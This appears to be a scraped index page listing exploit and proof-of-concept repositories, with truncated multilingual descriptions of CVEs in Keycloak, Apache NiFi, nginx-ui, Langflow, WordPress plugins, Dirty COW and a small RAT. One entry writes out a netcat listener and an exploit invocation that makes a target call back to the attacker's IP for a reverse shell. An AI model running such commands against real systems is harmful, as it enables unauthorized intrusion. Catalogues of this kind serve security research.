CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation

Strumento di Exploit per CVE-2026-1529 Keycloak Keycloak: registrazione non autorizzata di organizzazioni tramite validazione impropria del token di invito Disclaimer Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza. Utilizzalo solo su sistemi per cui hai...

CVE-2024-56512-Apache-NiFi-Exploit

NiFiExploit Uno strumento per sfruttare la vulnerabilità CVE-2024-56512 in Apache NiFi , che consente l'accesso non autorizzato a dati sensibili tramite API non adeguatamente protette...

CVE-2021-35587

CVE-2021-35587 Descrizione - POC per CVE-2021-35587: vulnerabilità facilmente sfruttabile che consente a un attaccante non autenticato con accesso di rete tramite HTTP di compromettere Oracle Access Manager. - creato da antx il 14-03-2022. Dettagli - Vulnerabilità nel prodotto Oracle Access...

POC-CVE-2021-4034

CVE-2021-4034 Sebbene la vulnerabilità non sia sfruttabile da remoto e non consenta, di per sé, l'esecuzione arbitraria di codice, può essere utilizzata da attaccanti che hanno già ottenuto un punto d'appoggio su un host vulnerabile per elevare i propri privilegi e raggiungere tale capacità...

CVE-2026-7089-XSS

home-service-system-unauth-stored-xss-admin-takeover Schwachstellendetails...

CVE-2026-7071-access-Control

Unauthentifizierte Lebenslauf-Offenlegung im CodeAstro Online-Jobportal PHP MySQL Details Anbieter: CodeAstro Produkt: Online-Jobportal-Projekt in PHP MySQL Version: 1.0 Schwachstellentyp: Unzureichende Zugriffskontrolle / Informationsoffenlegung CWE: CWE-284, CWE-200, CWE-548 Betroffener Endpunk...

CVE-2026-6182-SQLI-auth

Bypass dell'Autenticazione tramite SQL Injection - Simple Content Management System PHP Descrizione Esiste una vulnerabilità di SQL Injection nella pagina di login dell'amministratore di Simple Content Management System PHP. Il parametro user non viene sanitizzato prima di essere passato alla que...

CVE-2026-6201-IDOR

Controle de Acesso Quebrado no CodeAstro Online Job Portal Permite Exclusão Arbitrária de Vagas Detalhes Fornecedor: CodeAstro Produto: Online Job Portal Project in PHP MySQL Versão: 1.0 Tipo de Vulnerabilidade: Controle de Acesso Quebrado IDOR CWE: CWE-639 Arquivo Afetado: /jobs/job-delete.php...

-CVE-2026-1657

CVE-2026-1657 Exploit CVE-2026-1657: caricamento di immagini non autenticato tramite endpoint AJAX 'epuploadfilemedia' USO python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

cve-2026-33032-scanner

Scanner CVE-2026-33032 Scanner di vulnerabilità non distruttivo per il bypass dell'autenticazione dell'endpoint MCP di Nginx-UI Panoramica della Vulnerabilità CVE-2026-33032 è una vulnerabilità di bypass dell'autenticazione nell'integrazione Model Context Protocol MCP di nginx-ui. L'endpoint...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 Connectez-vous au portail en tant qu'admin Ajoutez un nouveau projet sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

cve-2026-32699-facturascripts-nick-bypass

CVE-2026-32699 - FacturaScripts Parametro Nick di EditUser Controllo di Accesso Rotto Descrizione Riepilogo L'applicazione non riesce a validare il parametro nick durante una richiesta POST al controller EditUser. Sebbene l'interfaccia utente impedisca la modifica di questo campo, un utente può...

CVE-2026-23550-PoC

CVE-2026-23550-PoC CVE-2026-23550 - Modular DS WordPress Plugin Unauthentifizierter Admin-Zugriff Proof-of-Concept PoC , das CVE-2026-23550 demonstriert – kritische Übernahme von Admin-Konten ohne Authentifizierung im Modular DS WordPress-Plugin Versionen ≤2.5.1. Wird aktiv in freier Wildbahn...

kernel-exploit-dirtycow-project-subm

kernel-exploit-dirtycow-project-subm Dirty COW विशेषाधिकार वृद्धि CVE-2016-5195 यह प्रोजेक्ट Ubuntu 16.04 कर्नेल पर CVE-2016-5195 द्वारा प्रभावित Dirty COW भेद्यता का उपयोग करके नियंत्रित प्रयोगशाला वातावरण में विशेषाधिकार वृद्धि परिदृश्य प्रदर्शित करता है। पर्यावरण हमलावर VM: काली लिनक्स पीड़ित...

CVE-2026-35584

CVE-2026-35584 POC - CVE-2026-35584 FreeScout Descrizione Riepilogo L'endpoint GET /thread/read/conversationid/threadid non richiede autenticazione e non verifica che il threadid fornito appartenga al conversationid indicato. Ciò consente a qualsiasi utente non autenticato di: Contrassegnare...

Sovereign-Echo-33017

Exploit-Titel: Langflow 1.8.1 - Nicht authentifizierte Remote-Codeausführung RCE Datum: 2026-03-21 Exploit-Autor: Americo N. F. Simoes SimoesCTT Hersteller-Homepage: https://www.langflow.org/ Software-Link: https://github.com/langflow-ai/langflow Version: = 1.8.1 Getestet auf: Linux/Fedora 40...

CVE-2025-24999

CVE-2025-24999 Proof of Concept für CVE-2025-24999 https://databasesecurityninja.wordpress.com/2026/04/02/microsoft-sql-server-privilege-elevation-through-msdatabasemanager-role-cve-2025-24999/...

CVE-2026-33032-nginx-ui-vuln-lab

CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Credential RCE Lab Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Alle hier demonstrierten Techniken sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Si...

CVE-2026-41940-cpanel-0day

Utilizzo root@kitploit: python 0day.py -f test.txt --external-only --show-all -t 10 -o testcvereport.csv Fonte e riferimento https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/ PER FAVORE NON SFRUTTARE, SOLO A SCOPO DI...

n00bRAT

n00bRAT v0.7 Es ist ein winziges C-Programm, das einen minimalistischen HTTP-Server für das Fingerprinting von Sicherheits-Scannern emuliert. Es ermöglicht, den Rechner über dieses vorgetäuschte HTTPv0.1-Protokoll zu steuern. Dieser n00b-Server wurde während des Studiums für den Kurs „Ethical...